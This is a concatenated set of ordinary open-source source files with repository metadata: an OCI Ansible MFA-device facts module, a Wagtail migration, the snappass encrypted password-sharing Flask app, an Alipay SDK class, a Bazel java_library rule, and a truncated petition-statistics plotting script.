self.client.list_mfa_totp_devices, user_id=self.module.params.get("user_id"), **optional_kwargs ) MfaTotpDeviceFactsHelperCustom = get_custom_class("MfaTotpDeviceFactsHelperCustom") class ResourceFactsHelper(MfaTotpDeviceFactsHelperCustom, MfaTotpDeviceFactsHelperGen): pass def main(): module_args = oci_common_utils.get_common_arg_spec() module_args.update( dict( user_id=dict(type="str", required=True), mfa_totp_device_id=dict(aliases=["id"], type="str"), sort_by=dict(type="str", choices=["TIMECREATED", "NAME"]), sort_order=dict(type="str", choices=["ASC", "DESC"]), ) ) module = AnsibleModule(argument_spec=module_args) if not HAS_OCI_PY_SDK: module.fail_json(msg="oci python sdk required for this module.") resource_facts_helper = ResourceFactsHelper( module=module, resource_type="mfa_totp_device", service_client_class=IdentityClient, namespace="identity", ) result = [] if resource_facts_helper.is_get(): result = [resource_facts_helper.get()] elif resource_facts_helper.is_list(): result = resource_facts_helper.list() else: resource_facts_helper.fail() module.exit_json(mfa_totp_devices=result) if __name__ == "__main__": main()

33.241803

120

0.631365

from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "metadata_version": "1.1", "status": ["preview"], "supported_by": "community", } DOCUMENTATION = """ --- module: oci_identity_mfa_totp_device_facts short_description: Fetches details about one or multiple MfaTotpDevice resources in Oracle Cloud Infrastructure description: - Fetches details about one or multiple MfaTotpDevice resources in Oracle Cloud Infrastructure - Lists the MFA TOTP devices for the specified user. The returned object contains the device's OCID, but not the seed. The seed is returned only upon creation or when the IAM service regenerates the MFA seed for the device. - If I(mfa_totp_device_id) is specified, the details of a single MfaTotpDevice will be returned. version_added: "2.9" author: Oracle (@oracle) options: user_id: description: - The OCID of the user. type: str required: true mfa_totp_device_id: description: - The OCID of the MFA TOTP device. - Required to get a specific mfa_totp_device. type: str aliases: ["id"] sort_by: description: - The field to sort by. You can provide one sort order (`sortOrder`). Default order for TIMECREATED is descending. Default order for NAME is ascending. The NAME sort order is case sensitive. - "**Note:** In general, some \\"List\\" operations (for example, `ListInstances`) let you optionally filter by Availability Domain if the scope of the resource type is within a single Availability Domain. If you call one of these \\"List\\" operations without specifying an Availability Domain, the resources are grouped by Availability Domain, then sorted." type: str choices: - "TIMECREATED" - "NAME" sort_order: description: - The sort order to use, either ascending (`ASC`) or descending (`DESC`). The NAME sort order is case sensitive. type: str choices: - "ASC" - "DESC" extends_documentation_fragment: [ oracle.oci.oracle ] """ EXAMPLES = """ - name: List mfa_totp_devices oci_identity_mfa_totp_device_facts: user_id: ocid1.user.oc1..xxxxxxEXAMPLExxxxxx - name: Get a specific mfa_totp_device oci_identity_mfa_totp_device_facts: user_id: ocid1.user.oc1..xxxxxxEXAMPLExxxxxx mfa_totp_device_id: ocid1.mfatotpdevice.oc1..xxxxxxEXAMPLExxxxxx """ RETURN = """ mfa_totp_devices: description: - List of MfaTotpDevice resources returned: on success type: complex contains: id: description: - The OCID of the MFA TOTP Device. returned: on success type: string sample: ocid1.resource.oc1..xxxxxxEXAMPLExxxxxx user_id: description: - The OCID of the user the MFA TOTP device belongs to. returned: on success type: string sample: ocid1.user.oc1..xxxxxxEXAMPLExxxxxx time_created: description: - Date and time the `MfaTotpDevice` object was created, in the format defined by RFC3339. - "Example: `2016-08-25T21:10:29.600Z`" returned: on success type: string sample: 2016-08-25T21:10:29.600Z time_expires: description: - Date and time when this MFA TOTP device will expire, in the format defined by RFC3339. Null if it never expires. - "Example: `2016-08-25T21:10:29.600Z`" returned: on success type: string sample: 2016-08-25T21:10:29.600Z lifecycle_state: description: - The MFA TOTP device's current state. returned: on success type: string sample: CREATING inactive_status: description: - "The detailed status of INACTIVE lifecycleState. Allowed values are: - 1 - SUSPENDED - 2 - DISABLED - 4 - BLOCKED - 8 - LOCKED" returned: on success type: int sample: 56 is_activated: description: - Flag to indicate if the MFA TOTP device has been activated returned: on success type: bool sample: true sample: [{ "id": "ocid1.resource.oc1..xxxxxxEXAMPLExxxxxx", "user_id": "ocid1.user.oc1..xxxxxxEXAMPLExxxxxx", "time_created": "2016-08-25T21:10:29.600Z", "time_expires": "2016-08-25T21:10:29.600Z", "lifecycle_state": "CREATING", "inactive_status": 56, "is_activated": true }] """ from ansible.module_utils.basic import AnsibleModule from ansible_collections.oracle.oci.plugins.module_utils import oci_common_utils from ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import ( OCIResourceFactsHelperBase, get_custom_class, ) try: from oci.identity import IdentityClient HAS_OCI_PY_SDK = True except ImportError: HAS_OCI_PY_SDK = False class MfaTotpDeviceFactsHelperGen(OCIResourceFactsHelperBase): def get_required_params_for_get(self): return [ "user_id", "mfa_totp_device_id", ] def get_required_params_for_list(self): return [ "user_id", ] def get_resource(self): return oci_common_utils.call_with_backoff( self.client.get_mfa_totp_device, user_id=self.module.params.get("user_id"), mfa_totp_device_id=self.module.params.get("mfa_totp_device_id"), ) def list_resources(self): optional_list_method_params = [ "sort_by", "sort_order", ] optional_kwargs = dict( (param, self.module.params[param]) for param in optional_list_method_params if self.module.params.get(param) is not None ) return oci_common_utils.list_all_resources( self.client.list_mfa_totp_devices, user_id=self.module.params.get("user_id"), **optional_kwargs ) MfaTotpDeviceFactsHelperCustom = get_custom_class("MfaTotpDeviceFactsHelperCustom") class ResourceFactsHelper(MfaTotpDeviceFactsHelperCustom, MfaTotpDeviceFactsHelperGen): pass def main(): module_args = oci_common_utils.get_common_arg_spec() module_args.update( dict( user_id=dict(type="str", required=True), mfa_totp_device_id=dict(aliases=["id"], type="str"), sort_by=dict(type="str", choices=["TIMECREATED", "NAME"]), sort_order=dict(type="str", choices=["ASC", "DESC"]), ) ) module = AnsibleModule(argument_spec=module_args) if not HAS_OCI_PY_SDK: module.fail_json(msg="oci python sdk required for this module.") resource_facts_helper = ResourceFactsHelper( module=module, resource_type="mfa_totp_device", service_client_class=IdentityClient, namespace="identity", ) result = [] if resource_facts_helper.is_get(): result = [resource_facts_helper.get()] elif resource_facts_helper.is_list(): result = resource_facts_helper.list() else: resource_facts_helper.fail() module.exit_json(mfa_totp_devices=result) if __name__ == "__main__": main()

true

790b3069425ae07e9b69a0a75534c8754c5f4767

2,284

py

Python

wagtail/tests/testapp/migrations/0014_m2m_blog_page.py

seddonym/wagtail-tableblock

aea3ce67a0800285b20b93018b7c0a8679e479b7

[ "BSD-3-Clause" ]

null

wagtail/tests/testapp/migrations/0014_m2m_blog_page.py

seddonym/wagtail-tableblock

aea3ce67a0800285b20b93018b7c0a8679e479b7

[ "BSD-3-Clause" ]

null

wagtail/tests/testapp/migrations/0014_m2m_blog_page.py

seddonym/wagtail-tableblock

aea3ce67a0800285b20b93018b7c0a8679e479b7

[ "BSD-3-Clause" ]

1

2019-03-05T15:37:22.000Z

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import wagtail.wagtailcore.fields import modelcluster.fields class Migration(migrations.Migration): dependencies = [ ('wagtailcore', '0020_add_index_on_page_first_published_at'), ('tests', '0013_iconsetting_notyetregisteredsetting_testsetting'), ] operations = [ migrations.CreateModel( name='BlogCategory', fields=[ ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)), ('name', models.CharField(unique=True, max_length=80)), ], ), migrations.CreateModel( name='BlogCategoryBlogPage', fields=[ ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)), ('category', models.ForeignKey(to='tests.BlogCategory', related_name='+')), ], ), migrations.CreateModel( name='ManyToManyBlogPage', fields=[ ( 'page_ptr', models.OneToOneField( primary_key=True, serialize=False, parent_link=True, auto_created=True, to='wagtailcore.Page' ) ), ('body', wagtail.wagtailcore.fields.RichTextField(blank=True)), ('adverts', models.ManyToManyField(to='tests.Advert', blank=True)), ( 'blog_categories', models.ManyToManyField( to='tests.BlogCategory', through='tests.BlogCategoryBlogPage', blank=True ) ), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.AddField( model_name='blogcategoryblogpage', name='page', field=modelcluster.fields.ParentalKey(to='tests.ManyToManyBlogPage', related_name='categories'), ), ]

34.606061

114

0.510508

from __future__ import unicode_literals from django.db import models, migrations import wagtail.wagtailcore.fields import modelcluster.fields class Migration(migrations.Migration): dependencies = [ ('wagtailcore', '0020_add_index_on_page_first_published_at'), ('tests', '0013_iconsetting_notyetregisteredsetting_testsetting'), ] operations = [ migrations.CreateModel( name='BlogCategory', fields=[ ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)), ('name', models.CharField(unique=True, max_length=80)), ], ), migrations.CreateModel( name='BlogCategoryBlogPage', fields=[ ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)), ('category', models.ForeignKey(to='tests.BlogCategory', related_name='+')), ], ), migrations.CreateModel( name='ManyToManyBlogPage', fields=[ ( 'page_ptr', models.OneToOneField( primary_key=True, serialize=False, parent_link=True, auto_created=True, to='wagtailcore.Page' ) ), ('body', wagtail.wagtailcore.fields.RichTextField(blank=True)), ('adverts', models.ManyToManyField(to='tests.Advert', blank=True)), ( 'blog_categories', models.ManyToManyField( to='tests.BlogCategory', through='tests.BlogCategoryBlogPage', blank=True ) ), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.AddField( model_name='blogcategoryblogpage', name='page', field=modelcluster.fields.ParentalKey(to='tests.ManyToManyBlogPage', related_name='categories'), ), ]

true

790b30b8fe31efd2d8b8814bd7607f2d2230fe09

5,404

py

Python

snappass/main.py

e2x/snappass

f7fbb4575ce59ee4c427ae087abcd462b867e01e

[ "MIT" ]

null

snappass/main.py

e2x/snappass

f7fbb4575ce59ee4c427ae087abcd462b867e01e

[ "MIT" ]

null

snappass/main.py

e2x/snappass

f7fbb4575ce59ee4c427ae087abcd462b867e01e

[ "MIT" ]

1

2021-05-05T11:58:47.000Z

import os import re import sys import uuid import redis from cryptography.fernet import Fernet from flask import abort, Flask, render_template, request from redis.exceptions import ConnectionError from werkzeug.urls import url_quote_plus from werkzeug.urls import url_unquote_plus NO_SSL = os.environ.get('NO_SSL', False) TOKEN_SEPARATOR = '~' # Initialize Flask Application app = Flask(__name__) if os.environ.get('DEBUG'): app.debug = True app.secret_key = os.environ.get('SECRET_KEY', 'Secret Key') app.config.update( dict(STATIC_URL=os.environ.get('STATIC_URL', 'static'))) # Initialize Redis if os.environ.get('MOCK_REDIS'): from mockredis import mock_strict_redis_client redis_client = mock_strict_redis_client() elif os.environ.get('REDIS_URL'): redis_client = redis.StrictRedis.from_url(os.environ.get('REDIS_URL')) else: redis_host = os.environ.get('REDIS_HOST', 'localhost') redis_port = os.environ.get('REDIS_PORT', 6379) redis_db = os.environ.get('SNAPPASS_REDIS_DB', 0) redis_client = redis.StrictRedis( host=redis_host, port=redis_port, db=redis_db) REDIS_PREFIX = os.environ.get('REDIS_PREFIX', 'snappass') TIME_CONVERSION = {'week': 604800, 'day': 86400, 'hour': 3600} def check_redis_alive(fn): def inner(*args, **kwargs): try: if fn.__name__ == 'main': redis_client.ping() return fn(*args, **kwargs) except ConnectionError as e: print('Failed to connect to redis! %s' % e.message) if fn.__name__ == 'main': sys.exit(0) else: return abort(500) return inner def encrypt(password): """ Take a password string, encrypt it with Fernet symmetric encryption, and return the result (bytes), with the decryption key (bytes) """ encryption_key = Fernet.generate_key() fernet = Fernet(encryption_key) encrypted_password = fernet.encrypt(password.encode('utf-8')) return encrypted_password, encryption_key def decrypt(password, decryption_key): """ Decrypt a password (bytes) using the provided key (bytes), and return the plain-text password (bytes). """ fernet = Fernet(decryption_key) return fernet.decrypt(password) def parse_token(token): token_fragments = token.split(TOKEN_SEPARATOR, 1) # Split once, not more. storage_key = token_fragments[0] try: decryption_key = token_fragments[1].encode('utf-8') except IndexError: decryption_key = None return storage_key, decryption_key @check_redis_alive def set_password(password, ttl): """ Encrypt and store the password for the specified lifetime. Returns a token comprised of the key where the encrypted password is stored, and the decryption key. """ storage_key = REDIS_PREFIX + uuid.uuid4().hex encrypted_password, encryption_key = encrypt(password) redis_client.setex(storage_key, ttl, encrypted_password) encryption_key = encryption_key.decode('utf-8') token = TOKEN_SEPARATOR.join([storage_key, encryption_key]) return token @check_redis_alive def get_password(token): """ From a given token, return the initial password. If the token is tilde-separated, we decrypt the password fetched from Redis. If not, the password is simply returned as is. """ storage_key, decryption_key = parse_token(token) password = redis_client.get(storage_key) redis_client.delete(storage_key) if password is not None: if decryption_key is not None: password = decrypt(password, decryption_key) return password.decode('utf-8') @check_redis_alive def password_exists(token): storage_key, decryption_key = parse_token(token) return redis_client.exists(storage_key) def empty(value): if not value: return True def clean_input(): """ Make sure we're not getting bad data from the front end, format data to be machine readable """ if empty(request.form.get('password', '')): abort(400) if empty(request.form.get('ttl', '')): abort(400) time_period = request.form['ttl'].lower() if time_period not in TIME_CONVERSION: abort(400) return TIME_CONVERSION[time_period], request.form['password'] @app.route('/', methods=['GET']) def index(): return render_template('set_password.html') @app.route('/', methods=['POST']) def handle_password(): ttl, password = clean_input() token = set_password(password, ttl) if NO_SSL: base_url = request.url_root else: base_url = request.url_root.replace("http://", "https://") link = base_url + url_quote_plus(token) return render_template('confirm.html', password_link=link) @app.route('/<password_key>', methods=['GET']) def preview_password(password_key): password_key = url_unquote_plus(password_key) if not password_exists(password_key): abort(404) return render_template('preview.html') @app.route('/<password_key>', methods=['POST']) def show_password(password_key): password_key = url_unquote_plus(password_key) password = get_password(password_key) if not password: abort(404) return render_template('password.html', password=password) @check_redis_alive def main(): app.run(host='0.0.0.0') if __name__ == '__main__': main()

27.292929

80

0.690044

import os import re import sys import uuid import redis from cryptography.fernet import Fernet from flask import abort, Flask, render_template, request from redis.exceptions import ConnectionError from werkzeug.urls import url_quote_plus from werkzeug.urls import url_unquote_plus NO_SSL = os.environ.get('NO_SSL', False) TOKEN_SEPARATOR = '~' app = Flask(__name__) if os.environ.get('DEBUG'): app.debug = True app.secret_key = os.environ.get('SECRET_KEY', 'Secret Key') app.config.update( dict(STATIC_URL=os.environ.get('STATIC_URL', 'static'))) if os.environ.get('MOCK_REDIS'): from mockredis import mock_strict_redis_client redis_client = mock_strict_redis_client() elif os.environ.get('REDIS_URL'): redis_client = redis.StrictRedis.from_url(os.environ.get('REDIS_URL')) else: redis_host = os.environ.get('REDIS_HOST', 'localhost') redis_port = os.environ.get('REDIS_PORT', 6379) redis_db = os.environ.get('SNAPPASS_REDIS_DB', 0) redis_client = redis.StrictRedis( host=redis_host, port=redis_port, db=redis_db) REDIS_PREFIX = os.environ.get('REDIS_PREFIX', 'snappass') TIME_CONVERSION = {'week': 604800, 'day': 86400, 'hour': 3600} def check_redis_alive(fn): def inner(*args, **kwargs): try: if fn.__name__ == 'main': redis_client.ping() return fn(*args, **kwargs) except ConnectionError as e: print('Failed to connect to redis! %s' % e.message) if fn.__name__ == 'main': sys.exit(0) else: return abort(500) return inner def encrypt(password): encryption_key = Fernet.generate_key() fernet = Fernet(encryption_key) encrypted_password = fernet.encrypt(password.encode('utf-8')) return encrypted_password, encryption_key def decrypt(password, decryption_key): fernet = Fernet(decryption_key) return fernet.decrypt(password) def parse_token(token): token_fragments = token.split(TOKEN_SEPARATOR, 1) storage_key = token_fragments[0] try: decryption_key = token_fragments[1].encode('utf-8') except IndexError: decryption_key = None return storage_key, decryption_key @check_redis_alive def set_password(password, ttl): storage_key = REDIS_PREFIX + uuid.uuid4().hex encrypted_password, encryption_key = encrypt(password) redis_client.setex(storage_key, ttl, encrypted_password) encryption_key = encryption_key.decode('utf-8') token = TOKEN_SEPARATOR.join([storage_key, encryption_key]) return token @check_redis_alive def get_password(token): storage_key, decryption_key = parse_token(token) password = redis_client.get(storage_key) redis_client.delete(storage_key) if password is not None: if decryption_key is not None: password = decrypt(password, decryption_key) return password.decode('utf-8') @check_redis_alive def password_exists(token): storage_key, decryption_key = parse_token(token) return redis_client.exists(storage_key) def empty(value): if not value: return True def clean_input(): if empty(request.form.get('password', '')): abort(400) if empty(request.form.get('ttl', '')): abort(400) time_period = request.form['ttl'].lower() if time_period not in TIME_CONVERSION: abort(400) return TIME_CONVERSION[time_period], request.form['password'] @app.route('/', methods=['GET']) def index(): return render_template('set_password.html') @app.route('/', methods=['POST']) def handle_password(): ttl, password = clean_input() token = set_password(password, ttl) if NO_SSL: base_url = request.url_root else: base_url = request.url_root.replace("http://", "https://") link = base_url + url_quote_plus(token) return render_template('confirm.html', password_link=link) @app.route('/<password_key>', methods=['GET']) def preview_password(password_key): password_key = url_unquote_plus(password_key) if not password_exists(password_key): abort(404) return render_template('preview.html') @app.route('/<password_key>', methods=['POST']) def show_password(password_key): password_key = url_unquote_plus(password_key) password = get_password(password_key) if not password: abort(404) return render_template('password.html', password=password) @check_redis_alive def main(): app.run(host='0.0.0.0') if __name__ == '__main__': main()

true

790b30bb249216e305afd822386e038ae1bd80bf

694

py

Python

alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

213

2018-08-27T16:49:32.000Z

2021-12-29T04:34:12.000Z

alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

29

2018-09-29T06:43:00.000Z

2021-09-02T03:27:32.000Z

alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

59

2018-08-27T16:59:26.000Z

2022-03-25T10:08:15.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayCommerceAntestCaselistQueryResponse(AlipayResponse): def __init__(self): super(AlipayCommerceAntestCaselistQueryResponse, self).__init__() self._data = None @property def data(self): return self._data @data.setter def data(self, value): self._data = value def parse_response_content(self, response_content): response = super(AlipayCommerceAntestCaselistQueryResponse, self).parse_response_content(response_content) if 'data' in response: self.data = response['data']

26.692308

114

0.706052

import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayCommerceAntestCaselistQueryResponse(AlipayResponse): def __init__(self): super(AlipayCommerceAntestCaselistQueryResponse, self).__init__() self._data = None @property def data(self): return self._data @data.setter def data(self, value): self._data = value def parse_response_content(self, response_content): response = super(AlipayCommerceAntestCaselistQueryResponse, self).parse_response_content(response_content) if 'data' in response: self.data = response['data']

true

790b319ae4af0618d5e780d5ec1f5e926956e06f

3,240

bzl

Python

src/main/starlark/builtins_bzl/common/java/java_library.bzl

omarzl/bazel

2e723f228efee008bcfd62ceb74a176a357c4c32

[ "Apache-2.0" ]

null

src/main/starlark/builtins_bzl/common/java/java_library.bzl

omarzl/bazel

2e723f228efee008bcfd62ceb74a176a357c4c32

[ "Apache-2.0" ]

null

src/main/starlark/builtins_bzl/common/java/java_library.bzl

omarzl/bazel

2e723f228efee008bcfd62ceb74a176a357c4c32

[ "Apache-2.0" ]

null

# Copyright 2021 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Definition of java_library rule. """ load(":common/java/java_common.bzl", "JAVA_COMMON_DEP") load(":common/rule_util.bzl", "create_rule") load(":common/java/java_semantics.bzl", "semantics") load(":common/java/proguard_validation.bzl", "VALIDATE_PROGUARD_SPECS") JavaInfo = _builtins.toplevel.JavaInfo JavaPluginInfo = _builtins.toplevel.JavaPluginInfo CcInfo = _builtins.toplevel.CcInfo def _java_library_rule_impl(ctx): if not ctx.attr.srcs and ctx.attr.deps: fail("deps not allowed without srcs; move to runtime_deps?") semantics.check_rule(ctx) semantics.check_dependency_rule_kinds(ctx) extra_resources = semantics.preprocess(ctx) base_info = JAVA_COMMON_DEP.call(ctx, extra_resources = extra_resources, output_prefix = "lib") proguard_specs_provider = VALIDATE_PROGUARD_SPECS.call(ctx) base_info.output_groups["_hidden_top_level_INTERNAL_"] = proguard_specs_provider.specs base_info.extra_providers.append(proguard_specs_provider) java_info = semantics.postprocess(ctx, base_info) return [ base_info.default_info, java_info, base_info.instrumented_files_info, OutputGroupInfo(**base_info.output_groups), ] + base_info.extra_providers java_library = create_rule( _java_library_rule_impl, attrs = dict( { "runtime_deps": attr.label_list( allow_files = [".jar"], allow_rules = semantics.ALLOWED_RULES_IN_DEPS, providers = [[CcInfo], [JavaInfo]], flags = ["SKIP_ANALYSIS_TIME_FILETYPE_CHECK"], ), "exports": attr.label_list( allow_rules = semantics.ALLOWED_RULES_IN_DEPS, providers = [[JavaInfo], [CcInfo]], ), "exported_plugins": attr.label_list( providers = [JavaPluginInfo], cfg = "exec", ), "licenses": attr.license() if hasattr(attr, "license") else attr.string_list(), }, **dict( semantics.EXTRA_ATTRIBUTES, **({ "classjar": attr.output(), "sourcejar": attr.output(), } if semantics.EXPERIMENTAL_USE_OUTPUTATTR_IN_JAVALIBRARY else {}) ) ), deps = [JAVA_COMMON_DEP, VALIDATE_PROGUARD_SPECS] + semantics.EXTRA_DEPS, provides = [JavaInfo], outputs = {} if semantics.EXPERIMENTAL_USE_FILEGROUPS_IN_JAVALIBRARY or semantics.EXPERIMENTAL_USE_OUTPUTATTR_IN_JAVALIBRARY else { "classjar": "lib%{name}.jar", "sourcejar": "lib%{name}-src.jar", }, compile_one_filetype = ".java", )

36.818182

135

0.674691

load(":common/java/java_common.bzl", "JAVA_COMMON_DEP") load(":common/rule_util.bzl", "create_rule") load(":common/java/java_semantics.bzl", "semantics") load(":common/java/proguard_validation.bzl", "VALIDATE_PROGUARD_SPECS") JavaInfo = _builtins.toplevel.JavaInfo JavaPluginInfo = _builtins.toplevel.JavaPluginInfo CcInfo = _builtins.toplevel.CcInfo def _java_library_rule_impl(ctx): if not ctx.attr.srcs and ctx.attr.deps: fail("deps not allowed without srcs; move to runtime_deps?") semantics.check_rule(ctx) semantics.check_dependency_rule_kinds(ctx) extra_resources = semantics.preprocess(ctx) base_info = JAVA_COMMON_DEP.call(ctx, extra_resources = extra_resources, output_prefix = "lib") proguard_specs_provider = VALIDATE_PROGUARD_SPECS.call(ctx) base_info.output_groups["_hidden_top_level_INTERNAL_"] = proguard_specs_provider.specs base_info.extra_providers.append(proguard_specs_provider) java_info = semantics.postprocess(ctx, base_info) return [ base_info.default_info, java_info, base_info.instrumented_files_info, OutputGroupInfo(**base_info.output_groups), ] + base_info.extra_providers java_library = create_rule( _java_library_rule_impl, attrs = dict( { "runtime_deps": attr.label_list( allow_files = [".jar"], allow_rules = semantics.ALLOWED_RULES_IN_DEPS, providers = [[CcInfo], [JavaInfo]], flags = ["SKIP_ANALYSIS_TIME_FILETYPE_CHECK"], ), "exports": attr.label_list( allow_rules = semantics.ALLOWED_RULES_IN_DEPS, providers = [[JavaInfo], [CcInfo]], ), "exported_plugins": attr.label_list( providers = [JavaPluginInfo], cfg = "exec", ), "licenses": attr.license() if hasattr(attr, "license") else attr.string_list(), }, **dict( semantics.EXTRA_ATTRIBUTES, **({ "classjar": attr.output(), "sourcejar": attr.output(), } if semantics.EXPERIMENTAL_USE_OUTPUTATTR_IN_JAVALIBRARY else {}) ) ), deps = [JAVA_COMMON_DEP, VALIDATE_PROGUARD_SPECS] + semantics.EXTRA_DEPS, provides = [JavaInfo], outputs = {} if semantics.EXPERIMENTAL_USE_FILEGROUPS_IN_JAVALIBRARY or semantics.EXPERIMENTAL_USE_OUTPUTATTR_IN_JAVALIBRARY else { "classjar": "lib%{name}.jar", "sourcejar": "lib%{name}-src.jar", }, compile_one_filetype = ".java", )

true

790b328b89c6f9bc48583162fd7cf5e176afc177

4,239

py

Python

network/get_sig_histogram.py

yukimasano/pet_forecast

57547fee4c222313e9c958536f60da4f43e23c8c

[ "MIT" ]

null

network/get_sig_histogram.py

yukimasano/pet_forecast

57547fee4c222313e9c958536f60da4f43e23c8c

[ "MIT" ]

1

2018-02-19T21:08:08.000Z

2018-02-23T10:45:57.000Z

network/get_sig_histogram.py

yukimasano/pet_forecast

57547fee4c222313e9c958536f60da4f43e23c8c

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Mon Mar 28 12:54:52 2016 @author: YPC """ import matplotlib.pyplot as plt import json import numpy f=open('../petitions.json', 'r') met=json.load(f) f.close() s=[] s2=[] """ this plots the signature distribution function""" if False: for i in range(len(met)): s.append( met[i]['petition']['signature_count']) s=numpy.array(s) s=sorted(s, reverse=True) fig=plt.figure(figsize=(7, 4.5)) plt.rcParams.update({'font.size': 15}) plt.rc('font', family='serif') plt.loglog(s,'-',color='darkblue',marker='x') plt.loglog([1,len(s)],[100000,100000]) plt.loglog([1,len(s)],[10000,10000]) plt.title("Signatures distribution") plt.xlabel("Rank") plt.ylabel("Number of Signatures") plt.tight_layout() plt.legend(['Signatures','100,000','10,000'],loc=3,fontsize=12) fig.savefig('Signatures_dist', dpi=500) #%% """ this plots the distr of len(text) """ if True: for i in range(len(met)): s.append( len(met[i]['petition']['description'])) if len(met[i]['petition']['description']) ==1000: print met[i]['petition']['description'] fig=plt.figure(figsize=(4.5, 4.5)) plt.rcParams.update({'font.size': 15}) plt.rc('font', family='serif') hist(s, bins=1000) plt.title("Histogram of textlengths") plt.ylabel("Number of petitions") plt.xlabel("Length of text") plt.tight_layout() #fig.savefig('textlen_dist', dpi=500) #%% """ this plots the distr of len(text) """ if False: for i in range(len(met)): if met[i]['petition']['signature_count'] >1000: s.append( len(met[i]['petition']['description'])) s2.append( len(met[i]['petition']['description'])) plt.rcParams.update({'font.size': 12}) plt.rc('font', family='serif') _,bins, _= hist(s, bins=50) fig, ax1 = plt.subplots() fig.set_size_inches(7,4.5) ax1.hist(s2,bins=bins,color='k',histtype='step') ax1.set_ylabel('Petitions', color='k') ax2 = ax1.twinx() ax2.hist(s,bins=bins,color='b',histtype='step') ax2.set_ylabel('Petitions with \n >1,000 signatures',color='b') plt.title("Histogram of textlengths") ax1.set_xlabel("Length of text") plt.show() fig.tight_layout() fig.savefig('textlen_s_dist', dpi=500) #%% """ this plots the cum number of len(text)""" if False: k=0 for i in range(len(met)): k=k+1 t = met[i]['petition']['created_datetime'] dt = t.encode()[0:10] t0 = datetime.datetime(int(dt[0:4]),int(dt[5:7]),int(dt[8:10])) s.append(t0) s2.append(k) fig, ax = plt.subplots() fig.set_size_inches(8,3) plt.rcParams.update({'font.size': 15}) plt.rc('font', family='serif') ax.plot(s,s2,color='darkblue') plt.title("Cumulative number of petitions") plt.ylabel("Number of Petitions",fontsize=15) ax.set_xlim([734300,735687]) for label in ax.xaxis.get_ticklabels()[1::2]: label.set_visible(False) ax.xaxis.get_ticklabels()[0].set_visible(True) ax.xaxis.get_ticklabels()[-1].set_visible(True) ax.tick_params(axis='both', which='major', labelsize=10) plt.tight_layout() fig.savefig('pets_vs_time', dpi=500) #%% if False: for i in range(len(met)): if int(met[i]['petition']['signature_count'])<100000 and int(met[i]['petition']['signature_count'])>5000: print met[i]['petition']['id'], met[i]['petition']['signature_count'] #347 148373 #885 149470 #1535 113490 #2199 156218 #7337 258276 #8903 118875 #19149 118475 #19658 145544 #22321 102701 #22670 179466 #29349 154662 #29399 110704 #29664 108848 #31778 114499 #33133 117469 #35788 109306 #37180 174578 #38257 304255 #40925 106210 #41492 153828 #43154 104818 #45969 134835 #46455 170931 #48389 106410 #48628 104068 #49528 111572 #52740 110561 #53523 123881 #56810 107261 #58166 103063 #60164 113797 #62385 327877 #62490 123307 #63445 103479 #64331 118956 #64997 112285 #67165 124511 #67911 102170 #71455 118068 #73911 103841 #74830 135408

27.888158

114

0.610757

""" Created on Mon Mar 28 12:54:52 2016 @author: YPC """ import matplotlib.pyplot as plt import json import numpy f=open('../petitions.json', 'r') met=json.load(f) f.close() s=[] s2=[] """ this plots the signature distribution function""" if False: for i in range(len(met)): s.append( met[i]['petition']['signature_count']) s=numpy.array(s) s=sorted(s, reverse=True) fig=plt.figure(figsize=(7, 4.5)) plt.rcParams.update({'font.size': 15}) plt.rc('font', family='serif') plt.loglog(s,'-',color='darkblue',marker='x') plt.loglog([1,len(s)],[100000,100000]) plt.loglog([1,len(s)],[10000,10000]) plt.title("Signatures distribution") plt.xlabel("Rank") plt.ylabel("Number of Signatures") plt.tight_layout() plt.legend(['Signatures','100,000','10,000'],loc=3,fontsize=12) fig.savefig('Signatures_dist', dpi=500) """ this plots the distr of len(text) """ if True: for i in range(len(met)): s.append( len(met[i]['petition']['description'])) if len(met[i]['petition']['description']) ==1000: print met[i]['petition']['description'] fig=plt.figure(figsize=(4.5, 4.5)) plt.rcParams.update({'font.size': 15}) plt.rc('font', family='serif') hist(s, bins=1000) plt.title("Histogram of textlengths") plt.ylabel("Number of petitions") plt.xlabel("Length of text") plt.tight_layout() """ this plots the distr of len(text) """ if False: for i in range(len(met)): if met[i]['petition']['signature_count'] >1000: s.append( len(met[i]['petition']['description'])) s2.append( len(met[i]['petition']['description'])) plt.rcParams.update({'font.size': 12}) plt.rc('font', family='serif') _,bins, _= hist(s, bins=50) fig, ax1 = plt.subplots() fig.set_size_inches(7,4.5) ax1.hist(s2,bins=bins,color='k',histtype='step') ax1.set_ylabel('Petitions', color='k') ax2 = ax1.twinx() ax2.hist(s,bins=bins,color='b',histtype='step') ax2.set_ylabel('Petitions with \n >1,000 signatures',color='b') plt.title("Histogram of textlengths") ax1.set_xlabel("Length of text") plt.show() fig.tight_layout() fig.savefig('textlen_s_dist', dpi=500) """ this plots the cum number of len(text)""" if 